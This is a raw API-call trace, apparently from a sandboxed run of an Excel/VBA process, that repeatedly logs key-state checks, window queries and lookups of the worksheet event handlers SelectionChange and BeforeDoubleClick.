	[0131.174] GetAsyncKeyState (vKey=27) returned 0
	[0131.174] GetCurrentThreadId () returned 0x8e8
	[0131.174] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0131.174] GetDesktopWindow () returned 0x10010
	[0134.190] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284) returned 0x0
	[0134.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0134.191] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0134.191] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0134.191] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0134.192] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0134.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0134.192] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0134.192] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0134.192] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0134.352] GetCurrentThreadId () returned 0x8e8
	[0134.352] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0134.352] GetDesktopWindow () returned 0x10010
	[0134.674] GetAsyncKeyState (vKey=27) returned 0
	[0134.674] GetCurrentThreadId () returned 0x8e8
	[0134.674] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0134.674] GetDesktopWindow () returned 0x10010
	[0137.769] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b) returned 0x0
	[0137.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0137.769] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0137.769] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0137.769] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0137.770] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0137.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0137.770] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0137.770] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0137.770] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0137.795] GetCurrentThreadId () returned 0x8e8
	[0137.795] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0137.795] GetDesktopWindow () returned 0x10010
	[0138.086] GetAsyncKeyState (vKey=27) returned 0
	[0138.086] GetCurrentThreadId () returned 0x8e8
	[0138.086] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0138.086] GetDesktopWindow () returned 0x10010
	[0141.259] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197) returned 0x0
	[0141.259] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0141.259] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0141.259] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0141.259] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0141.260] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0141.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0141.260] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0141.260] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0141.260] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0141.423] GetCurrentThreadId () returned 0x8e8
	[0141.423] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0141.423] GetDesktopWindow () returned 0x10010
	[0141.842] GetAsyncKeyState (vKey=27) returned 0
	[0141.842] GetCurrentThreadId () returned 0x8e8
	[0141.842] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0141.842] GetDesktopWindow () returned 0x10010
	[0145.002] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e) returned 0x0
	[0145.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0145.002] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0145.002] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0145.002] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0145.011] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x380000026e) returned 0x0
	[0145.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0145.011] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0145.011] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0145.011] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0147.976] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345) returned 0x0
	[0147.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0147.976] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0147.976] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0147.976] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0147.977] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0147.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0147.977] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0147.977] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0147.977] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0147.990] GetCurrentThreadId () returned 0x8e8
	[0147.990] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0147.990] GetDesktopWindow () returned 0x10010
	[0148.294] GetAsyncKeyState (vKey=27) returned 0
	[0148.294] GetCurrentThreadId () returned 0x8e8
	[0148.294] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0148.294] GetDesktopWindow () returned 0x10010
	[0157.436] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e) returned 0x0
	[0157.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0157.436] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0157.436] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0157.436] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0157.464] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x520000026e) returned 0x0
	[0157.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0157.464] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0157.464] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0157.464] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0160.540] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5200000345) returned 0x0
	[0160.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0160.540] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0160.540] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0160.540] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0160.541] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0160.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0160.542] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0160.542] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0160.542] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0160.560] GetCurrentThreadId () returned 0x8e8
	[0160.560] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0160.560] GetDesktopWindow () returned 0x10010
	[0160.844] GetAsyncKeyState (vKey=27) returned 0
	[0160.844] GetCurrentThreadId () returned 0x8e8
	[0160.844] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0160.844] GetDesktopWindow () returned 0x10010
	[0170.109] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e) returned 0x0
	[0170.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0170.109] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0170.109] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0170.110] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0170.116] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e) returned 0x0
	[0170.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0170.117] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0170.117] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0170.117] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0173.148] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345) returned 0x0
	[0173.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0173.156] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0173.156] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0173.156] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0173.157] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0173.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0173.158] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0173.158] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0173.158] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0173.165] GetCurrentThreadId () returned 0x8e8
	[0173.165] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0173.165] GetDesktopWindow () returned 0x10010
	[0173.466] GetAsyncKeyState (vKey=27) returned 0
	[0173.466] GetCurrentThreadId () returned 0x8e8
	[0173.466] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0173.466] GetDesktopWindow () returned 0x10010
	[0182.813] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x860000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x860000026e) returned 0x0
	[0182.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0182.813] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0182.813] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0182.813] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0182.821] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x860000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x860000026e) returned 0x0
	[0182.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0182.822] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0182.822] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0182.822] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0185.868] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x8600000345) returned 0x0
	[0185.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0185.868] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0185.868] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0185.868] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0185.870] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0185.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0185.870] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0185.870] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0185.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0185.891] GetCurrentThreadId () returned 0x8e8
	[0185.891] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0185.891] GetDesktopWindow () returned 0x10010
	[0186.175] GetAsyncKeyState (vKey=27) returned 0
	[0186.175] GetCurrentThreadId () returned 0x8e8
	[0186.175] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0186.175] GetDesktopWindow () returned 0x10010
	[0195.527] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa00000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa00000026e) returned 0x0
	[0195.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0195.528] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0195.528] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0195.528] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0195.537] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa00000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xa00000026e) returned 0x0
	[0195.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0195.537] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0195.537] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0195.537] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
